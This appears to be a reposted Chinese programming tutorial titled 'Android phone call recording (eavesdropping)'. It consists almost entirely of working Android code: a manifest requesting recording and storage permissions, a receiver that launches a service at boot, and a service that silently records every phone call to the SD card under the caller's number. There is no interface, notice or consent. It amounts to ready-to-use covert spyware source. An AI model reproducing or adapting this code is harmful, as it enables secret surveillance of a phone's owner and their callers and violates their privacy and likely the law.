android 實現電話錄音(竊聽)

來源:互聯網
上載者:User

標籤:android   style   blog   http   io   color   os   ar   for   

設定檔

<?xml version="1.0" encoding="utf-8"?><manifest xmlns:android="http://schemas.android.com/apk/res/android"    package="codefans.app"    android:versionCode="1"    android:versionName="1.0" >    <uses-sdk android:minSdkVersion="8" />        <!-- 監聽電話狀態許可權 -->    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>        <!-- 在SDCard中建立與刪除檔案許可權 -->    <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>        <!-- 在SDCard寫入資料許可權 -->    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>      <!-- 刻入聲音許可權 -->    <uses-permission android:name="android.permission.RECORD_AUDIO"/>    <application        android:icon="@drawable/ic_launcher"        android:label="@string/app_name" >        <service android:name=".PhoneService"></service>        <receiver android:name=".PhoneBroadcastReceiver">            <intent-filter >               <action android:name="android.intent.action.BOOT_COMPLETED"/> <!-- 開機啟動廣播  -->            </intent-filter>        </receiver>    </application>  </manifest>
public class PhoneService extends Service{    @Override    public IBinder onBind(Intent intent)    {        // TODO Auto-generated method stub        return null;    }    @Override    public void onCreate()    {        super.onCreate();                TelephonyManager telephonyManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);                telephonyManager.listen(new PhoneListener(), PhoneStateListener.LISTEN_CALL_STATE);  //註冊監聽器 監聽電話狀態    }            private final class PhoneListener extends PhoneStateListener    {        private String incomeNumber;   //來電號碼        private MediaRecorder mediaRecorder;        private File file;        @Override        public void onCallStateChanged(int state, String incomingNumber)        {            try            {                switch(state)                {                case TelephonyManager.CALL_STATE_RINGING:   //來電                    this.incomeNumber = incomingNumber;                    break;                case TelephonyManager.CALL_STATE_OFFHOOK:   //接通電話                    file = new File(Environment.getExternalStorageDirectory(), this.incomeNumber + System.currentTimeMillis() + ".3gp");                    mediaRecorder = new MediaRecorder();                    mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);   //獲得聲音資料來源                    mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);   // 按3gp格式輸出                    mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);                       mediaRecorder.setOutputFile(file.getAbsolutePath());   //輸出檔案                    mediaRecorder.prepare();    //準備                    mediaRecorder.start();                    break;                                case TelephonyManager.CALL_STATE_IDLE:  //掛掉電話                    if(mediaRecorder != null)                    {                        mediaRecorder.stop();                        mediaRecorder.release();                        mediaRecorder = null;                    }                                        break;                                }            }            catch (IllegalStateException e)            {                // TODO Auto-generated catch block                e.printStackTrace();            }            catch (IOException e)            {                // TODO Auto-generated catch block                e.printStackTrace();            }        }                    }    }
public class PhoneBroadcastReceiver extends BroadcastReceiver{    @Override    public void onReceive(Context context, Intent intent)    {        Intent service = new Intent(context, PhoneService.class);        context.startService(service);   //啟動服務    }}

 

android 實現電話錄音(竊聽)

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.